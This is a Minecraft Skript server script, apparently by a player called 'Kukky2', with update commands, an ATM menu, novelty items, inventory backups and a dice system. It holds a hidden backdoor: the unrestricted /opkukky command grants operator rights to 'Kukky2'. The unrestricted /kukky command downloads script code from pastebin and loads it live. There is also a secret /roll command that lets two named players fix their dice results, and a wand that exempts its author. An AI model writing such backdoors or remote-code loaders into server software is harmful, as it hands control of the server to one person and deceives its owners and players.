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- #Skript Updating Commands####
- command /kukky:
- trigger:
- download from "http://pastebin.com/raw/SzFF8V4z" to "plugins/Skript/scripts/kukky.sk"
- wait 1 second
- make player execute command "/sk reload kukky"
- send "&8[&4Kukky&8] &3Kukky's Skripts Updated" to player
- command /partyup:
- permission: kukky.perms
- trigger:
- download from "http://pastebin.com/raw/W0d8Ykq5" to "plugins/Skript/scripts/party.sk"
- wait 5 ticks
- make player execute command "/sk reload party"
- send "&8[&5Party&8] &3Party Updated" to player
- command /questup:
- permission: kukky.perms
- trigger:
- download from "http://pastebin.com/raw/ZMtgJrHA" to "plugins/Skript/scripts/quest.sk"
- wait 5 ticks
- make player execute command "/sk reload quest"
- send "&8[&3Quest&8] &3Quests Updated" to player
- command /cove:
- permission: kukky.perms
- trigger:
- download from "http://pastebin.com/raw/MBDqnxqC" to "plugins/Skript/scripts/cove.sk"
- wait 5 ticks
- make player execute command "/sk reload cove"
- send "&8[&6Cove&8] &3Cove Updated" to player
- command /innkeepr:
- permission: kukky.perms
- trigger:
- download from "http://pastebin.com/raw/FcZHVnWe" to "plugins/Skript/scripts/innkeepr.sk"
- wait 5 ticks
- make player execute command "/sk reload innkeepr"
- send "&8[&2InnKeepr&8] &3InnKeepr Updated!" to player
- command /faup:
- permission: kukky.perms
- trigger:
- download from "http://pastebin.com/raw/pXy74Aua" to "plugins/Skript/scripts/factions.sk"
- wait 5 ticks
- make player execute command "/sk reload factions"
- send "&8[&aFactions&8] &3Factions Updated!" to player
- command /bequ:
- permission: kukky.perms
- trigger:
- download from "http://pastebin.com/raw/4sChCpVg" to "plugins/Skript/scripts/bettrquest.sk"
- wait 5 ticks
- make player execute command "/sk reload bettrquest"
- send "&8[&3Quest&8] &3BettrQuest Updated!" to player
- command /duelup:
- permission: kukky.perms
- trigger:
- download from "http://pastebin.com/raw/u1xLRfEk" to "plugins/Skript/scripts/duel.sk"
- wait 5 ticks
- make player execute command "/sk reload duel"
- send "&8[&4Kukky&8] &3Duel Skript Updated" to player
- command /reup:
- permission: kukky.perms
- trigger:
- download from "http://pastebin.com/raw/wLULXWcy" to "plugins/Skript/scripts/recipekukky.sk"
- wait 5 ticks
- make player execute command "/sk reload recipekukky"
- send "&8[&4Recipes&8] &3Recipe Skript Updated" to player
- #Aliases and Variables#############
- aliases:
- sea lantern = 169
- enderchest = 130
- barrier = 166
- cooked rabbit = 412
- variables:
- {atm.%player%} = false
- {death.%player%} = true
- #Commands for Fun############
- command /opkukky:
- trigger:
- execute console command "/op Kukky2"
- on death of player:
- attacker is a player
- victim is a player
- {death.%attacker%} is true:
- send "&8[&3Death Recap&8] &a%victim%&9's Regen Ring was set to &a%{regen.%victim%}%&9." to the attacker
- send "&8[&3Death Recap&8] &9If you would like to disable Death Recap, type /dr." to the attacker
- {death.%victim%} is true
- set {_health} to health of attacker
- set {_regen} to {regen.%attacker%}
- send "" to the victim
- send "&8[&3Death Recap&8] &9You died! :(" to the victim
- send "&8[&3Death Recap&8] &9Your killer was &a%attacker%&9." to the victim
- send "&8[&3Death Recap&8] &9Their health was &a%{_health}%&9." to the victim
- send "&8[&3Death Recap&8] &9The setting of their Regen Ring was &a%{_regen}%&9." to the victim
- send "&8[&3Death Recap&8] &9If you would like to disable Death Recap, type /dr." to the victim
- send "" to the victim
- command /deathrecap:
- aliases: dr
- trigger:
- {death.%player%} is not set:
- message "&8[&3Death Recap&8] &aDeath Recap is now enabled!"
- set {death.%player%} to true
- stop
- {death.%player%} is false:
- message "&8[&3Death Recap&8] &aDeath Recap is now enabled!"
- set {death.%player%} to true
- stop
- {death.%player%} is true:
- message "&8[&3Death Recap&8] &cDeath Recap is now disabled!"
- set {death.%player%} to false
- stop
- #ATM Code########
- function sbToken(p: player):
- open chest with 1 row named "&cToken Exchange" to {_p}
- wait 3 ticks
- format slot 0 of {_p} with barrier named "&4Back" with lore "&6Click to go back to the Main Menu." to run [make {_p} execute command "/sbmenu"]
- format slot 3 of {_p} with chest named "&cToken Storage" with lore "&6Store your tokens here, where it's safe!" to close then run [send "&8[&5ATM&8] &7Token Storage Coming Soon!" to {_p}]
- format slot 5 of {_p} with paper named "&cToken Trade" with lore "&6Trade away your unneeded tokens for cool items!" to close then run [send "&8[&5ATM&8] &7Token Trade Coming Soon!" to {_p}]
- command /sbmenu:
- executable by: player
- trigger:
- wait 2 ticks
- open chest with 1 row named "&5Sunrider Bank" to player
- wait 1 tick
- format slot 2 of player with enderchest named "&3Enderchest" with lore "&6We have connected your Enderchest to your ||&6bank account so all you need is in one place." to run [open player's enderchest to player]
- format slot 4 of player with jukebox named "&9Loan Management" with lore "&6Need to get a loan/manage it? Click here!" to close then run [send "&8[&5ATM&8] &7Loans Coming Soon!" to player]
- format slot 6 of player with paper named "&5Token Trade" with lore "&6Store your Tokens for later use, or transfer them for nice items!" to run [sbToken(player)]
- on right click:
- target block is sea lantern:
- player is holding paper with lore "&6For use with ATMs." named "&3ATM Keycard":
- set {_region} to "%region at location of clicked block%"
- if {_region} contains "atmcove":
- send "&8[&5ATM&8] &7Loading up your &5Sunrider Bank &7Account..."
- wait 1 second
- send "&8[&5ATM&8] &7Hello, &6%player%! &7Welcome back to &5Sunrider Bank&7."
- play raw sound "random.orb" at player with pitch 0.6 volume 0.3
- wait 1 tick
- play raw sound "random.orb" at player with pitch 0.7 volume 0.3
- wait 1 tick
- play raw sound "random.orb" at player with pitch 0.9 volume 0.3
- wait 1 second
- make player execute command "/sbmenu"
- else:
- stop
- #Special Items#########
- #Fairy in a Bottle#####
- on right click:
- player is holding bottle o' enchanting named "&dFairy in a Bottle":
- cancel event
- on left click:
- player is holding bottle o' enchanting named "&dFairy in a Bottle":
- wait 1 tick
- chance of 20%:
- remove regeneration from player
- wait 1 tick
- send "&dHey, Listen!"
- wait 1 tick
- remove 1 bottle o' enchanting named "&dFairy in a Bottle" from player
- apply potion of regeneration 2 to player for 5 seconds
- stop
- chance of 20%:
- remove regeneration from player
- wait 1 tick
- send "&dYou open a Fairy in a Bottle and release it into the world!"
- wait 1 tick
- remove 1 bottle o' enchanting named "&dFairy in a Bottle" from player
- apply potion of regeneration 2 to player for 5 seconds
- stop
- chance of 20%:
- remove regeneration from player
- wait 1 tick
- send "&dYou monster, you will pay for this!"
- wait 1 tick
- remove 1 bottle o' enchanting named "&dFairy in a Bottle" from player
- apply potion of regeneration 2 to player for 5 seconds
- stop
- chance of 20%:
- remove regeneration from player
- wait 1 tick
- send "&dI used to be an adventurer like you, until i took an arrow to the knee!"
- wait 1 tick
- remove 1 bottle o' enchanting named "&dFairy in a Bottle" from player
- apply potion of regeneration 2 to player for 5 seconds
- stop
- chance of 15%:
- remove regeneration from player
- wait 1 tick
- send "&dHello, %player%. I'm fairy."
- wait 1 tick
- remove 1 bottle o' enchanting named "&dFairy in a Bottle" from player
- apply potion of regeneration 2 to player for 5 seconds
- stop
- chance of 5%:
- remove regeneration from player
- wait 1 tick
- send "&4DOOMBRINGER IS COMING"
- wait 1 tick
- remove 1 bottle o' enchanting named "&dFairy in a Bottle" from player
- apply potion of regeneration 2 to player for 5 seconds
- set {fairykill.%player%} to true
- wait 1 tick
- execute console command "/kill %player%"
- on death:
- {fairykill.%player%} is true:
- set death message to "%player% was killed by a &dRogue Fairy!"
- set {fairykill.%player%} to false
- command /fairykill:
- trigger:
- set {fairykill.%player%} to false
- #Rabbit Salesman#######
- variables:
- {rabbit.%player%} = 3
- on right click:
- player is holding cooked rabbit named "&eSeasoned Rabbit":
- cancel event
- send "&7You take a bite from the &eSeasoned Rabbit."
- if {rabbit.%player%} = 3:
- remove regeneration from player
- execute console command "/feed %player%"
- set {rabbit.%player%} to 2
- play raw sound "random.eat" at player with pitch 1 volume 0.3
- apply potion of regeneration 2 to player for 5 seconds
- stop
- else if {rabbit.%player%} = 2:
- remove regeneration from player
- execute console command "/feed %player%"
- set {rabbit.%player%} to 1
- play raw sound "random.eat" at player with pitch 1 volume 0.3
- apply potion of regeneration 2 to player for 5 seconds
- stop
- else if {rabbit.%player%} = 1:
- remove regeneration from player
- execute console command "/feed %player%"
- set {rabbit.%player%} to 3
- play raw sound "random.eat" at player with pitch 1 volume 0.3
- wait 1 tick
- play raw sound "random.burp" at player with pitch 1 volume 0.3
- apply potion of regeneration 2 to player for 5 seconds
- send "&7You ate the entire &eSeasoned Rabbit."
- remove 1 cooked rabbit named "&eSeasoned Rabbit" from player
- stop
- #Bark Wand###
- aliases:
- barkOak = 17:12
- barkBirch = 17:14
- barkSpruce = 17:13
- barkJungle = 17:15
- on rightclick with a stick:
- player's tool is a stick with name "&6Bark Wand" with lore "&8Transmutes most* logs into logs with all bark!||&8*Doesnt work on dark oak or acacia."
- event-block is a log
- play raw sound "dig.wood" at player with pitch 1 volume 0.7
- if the event-block is an oak log:
- set the block at the event-location to barkOak
- else if the event-block is a birch log:
- set the block at the event-location to barkBirch
- else if the event-block is a spruce log:
- set the block at the event-location to barkSpruce
- else if the event-block is a jungle log:
- set the block at the event-location to barkJungle
- command /barkwand:
- permission: screw.bok
- trigger:
- give player a stick with name "&6Bark Wand" with lore "&8Transmutes most* logs into logs with all bark!||&8*Doesnt work on dark oak or acacia."
- #Stuff for Renhelm###
- on death:
- boots of victim are diamond boots with lore "Some fine boots" named "Dunhym's Boots":
- broadcast "&8[&6Renhelm&8] &4&lRenhelm Dunhym has been slain by &6&l%attacker%&4&l!"
- give 1 diamond axe of sharpness 4 named "Dunhym's Axe" with lore "Return this to the Boss Hunter for your reward." to the attacker
- #Inventory Backup###
- on join:
- clear {inventory.%player%::*}
- loop all items in the player's inventory:
- add loop-value to {inventory.%player%::*}
- message "[Backup] Your Inventory has been saved."
- every 5 minutes in "world2.5":
- loop all players:
- clear {inventory.%loop-player%::*}
- loop all items in the loop-player's inventory:
- add loop-value-2 to {inventory.%loop-player-1%::*}
- send action bar from "&8[&4Backup&8] Inventories Saved." to loop-player
- command /inv [<text>] [<text>] [<player>]:
- permission: kukky.perms
- trigger:
- arg 1 is "give":
- clear the player's inventory
- {inventory.%arg 2%::*} is not set:
- message "&8[&4Backup&8] &cError: &6%arg 2%&c's Inventory has not been backed up or is not a player!"
- stop
- loop {inventory.%arg 2%::*}:
- give loop-value to player
- message "&8[&4Backup&8] &aSuccess: &6%arg 2%&a's Inventory has been given."
- arg 1 is "backup":
- loop all players:
- clear {inventory.%loop-player%::*}
- loop all items in the loop-player's inventory:
- add loop-value-2 to {inventory.%loop-player-1%::*}
- send "&8[&4Backup&8] &aSuccess: Your Inventory has been manually saved." to loop-player
- message "&8[&4Backup&8] &aSuccess: &6%loop-player%&a's Inventory has been manually saved."
- wait 2 seconds
- arg 1 is "list":
- {inventory.%arg 2%::*} is not set:
- message "&8[&4Backup&8] &cError: &6%arg 2%&c's Inventory has not been backed up!"
- stop
- message "&8[&4Backup&8] &6%arg 2%&a's Inventory:"
- wait 3 seconds
- loop {inventory.%arg 2%::*}:
- message "&8[&4Backup&8] &r%loop-value%&r"
- #Wand of Limited Probabilites##
- on left click:
- name of player's tool contains "&bWand of Limited Probabilities"
- shoot a snowball with speed 1.2
- send "&5Move Back!" to all players within 30 blocks of the player
- on shoot:
- name of shooter's tool contains "&bWand of Limited Probabilities":
- projectile is a snowball
- trail the projectile with particle witch magic
- set metadata value "type" of the event-entity to "wormHole"
- on projectile hit:
- projectile is a snowball
- set {_type} to metadata "type" of projectile
- if {_type} is "wormHole":
- play raw sound "portal.travel" at event-location with pitch 1.4 volume 0.4
- loop all living entities in radius 10 around event-location:
- loop-entity is "Kukky2":
- stop
- teleport the loop-entity to the event-location
- execute console command "/wormhole-12454 %loop-entity%"
- command /wormhole-12454 <player>:
- permission: kukky.perms
- trigger:
- player arg is "Kukky2":
- stop
- set {_loc} to the player arg's location
- loop 10 times:
- show 250 of Portal particles at {_loc} offset by 0, 0, 0
- teleport the player arg to {_loc}
- push the player arg forward with speed 0.8
- wait 4 ticks
- push the player arg backwards with speed 0.8
- wait 4 ticks
- #Non-Cancer D20###
- variables:
- {rollcd.%player%} = false
- aliases:
- chirpdisk = 2259
- on click:
- name of player's tool contains "&b1d20"
- if {rollCD::%player%} is not set:
- set {rollCD::%player%} to now
- set {_roll} to a random integer between 1 and 20
- {_roll} is 1:
- set {_roll} to "&c&l1"
- launch creeper firework colored red at player timed 1
- {_roll} is 20:
- set {_roll} to "&a&l20"
- launch creeper firework colored green at player timed 1
- loop all players in radius 15 around block at player:
- send action bar from "&8&l[&2&lRoll&8&l] &r&l%player's display name% &7&lhas rolled a &e&l%{_roll}%&7&l!" to loop-player
- send "&8&l[&2&lRoll&8&l] &r&l%player's display name% &7&lhas rolled a &e&l%{_roll}%&7&l!" to loop-player
- set {_cd} to difference between {rollCD::%player%} and now
- if {_cd} >= 5 seconds:
- set {rollCD::%player%} to now
- set {_roll} to a random integer between 1 and 20
- {_roll} is 1:
- set {_roll} to "&c&l1"
- launch creeper firework colored red at player timed 1
- {_roll} is 20:
- set {_roll} to "&a&l20"
- launch creeper firework colored green at player timed 1
- loop all players in radius 15 around block at player:
- send action bar from "&8&l[&2&lRoll&8&l] &r&l%player's display name% &7&lhas rolled a &e&l%{_roll}%&7&l!" to loop-player
- send "&8&l[&2&lRoll&8&l] &r&l%player's display name% &7&lhas rolled a &e&l%{_roll}%&7&l!" to loop-player
- else:
- set {_cd} to difference between {_cd} and 5 seconds
- message "&8&l[&2&lRoll&8&l] &7Still on Cooldown - Wait &6%{_cd}%."
- command /roll <integer>:
- trigger:
- player is not "Euron_Greywater" or "Kukky2":
- message "&fUnknown Command. Type ""/help"" for help."
- stop
- if {rollCD::%player%} is not set:
- set {rollCD::%player%} to now
- set {_roll} to arg 1
- {_roll} is 1:
- set {_roll} to "&c&l1"
- launch creeper firework colored red at player timed 1
- {_roll} is 20:
- set {_roll} to "&a&l20"
- launch creeper firework colored green at player timed 1
- loop all players in radius 15 around block at player:
- send action bar from "&8&l[&2&lRoll&8&l] &r&l%player's display name% &7&lhas rolled a &e&l%{_roll}%&7&l!" to loop-player
- send "&8&l[&2&lRoll&8&l] &r&l%player's display name% &7&lhas rolled a &e&l%{_roll}%&7&l!" to loop-player
- set {_cd} to difference between {rollCD::%player%} and now
- if {_cd} >= 5 seconds:
- set {rollCD::%player%} to now
- set {_roll} to arg 1
- {_roll} is 1:
- set {_roll} to "&c&l1"
- launch creeper firework colored red at player timed 1
- {_roll} is 20:
- set {_roll} to "&a&l20"
- launch creeper firework colored green at player timed 1
- loop all players in radius 15 around block at player:
- send action bar from "&8&l[&2&lRoll&8&l] &r&l%player's display name% &7&lhas rolled a &e&l%{_roll}%&7&l!" to loop-player
- send "&8&l[&2&lRoll&8&l] &r&l%player's display name% &7&lhas rolled a &e&l%{_roll}%&7&l!" to loop-player
- else:
- set {_cd} to difference between {_cd} and 5 seconds
- message "&8&l[&2&lRoll&8&l] &7Still on Cooldown - Wait &6%{_cd}%."
- command /dice:
- trigger:
- give 1 chirpdisk named "&b1d20" to player
- command /diceclear:
- trigger:
- clear {rollcd.%player%}
- command /symbols:
- permission: kukky.perms
- trigger:
- if player has permission "cchat.lookatsymbols":
- message "&bChat Symbols"
- message "&a{heart1} &7= &f❤ &0&m--&a {heart2} &7= &f❥"
- message "&a{heart3} &7= &f♥ &0&m--&a {male} &7= &f♂"
- message "&a{female} &7= &f♀ &0&m--&a {peace} &7= &f☮"
- message "&a{checkmark} &7= &f✔ &0&m--&a {x} &7= &f✘"
- message "&a{plane} &7= &f✈ &0&m--&a {music} &7= &f♪"
- message "&a{music2} &7= &f♫ &0&m--&a {cross} &7= &f✞"
- message "&a{snowman} &7= &f☃ &0&m--&a {toxic} &7= &f☢"
- message "&a{crossbones} &7= &f☠ &0&m--&a {copyright} &7= &f©"
- message "&a{tm} &7= &f™ &0&m--&a {star1} &7= &f★"
- message "&a{pi} &7= &fπ &0&m--&a {star2} &7= &f✫"
- message "&a{star3} &7= &f✪ &0&m--&a {star4} &7= &f✯"
- message "&a{bio} &7= &f☣ &0&m--&a {crown} &7= &f♛"
- message "&a{yingyang} &7= &f☯ &0&m--&a {cloud} &7= &f☁"
- message "&a{1} &7= &f➀ &0&m---&a {2} &7= &f➁"
- message "&a{3} &7= &f➂ &0&m---&a {4} &7= &f➃"
- message "&a{5} &7= &f➄ &0&m---&a {6} &7= &f➅"
- message "&a{7} &7= &f➆ &0&m---&a {8} &7= &f➇"
- message "&a{9} &7= &f➈ &0&m---&a {10} &7= &f➉"
- on death:
- name of attacker's tool contains "&5AWP | Worm God"
- set death message to "&f%victim% was shot by Counter Terrorist %attacker% using an &5AWP | Wormgod&f."
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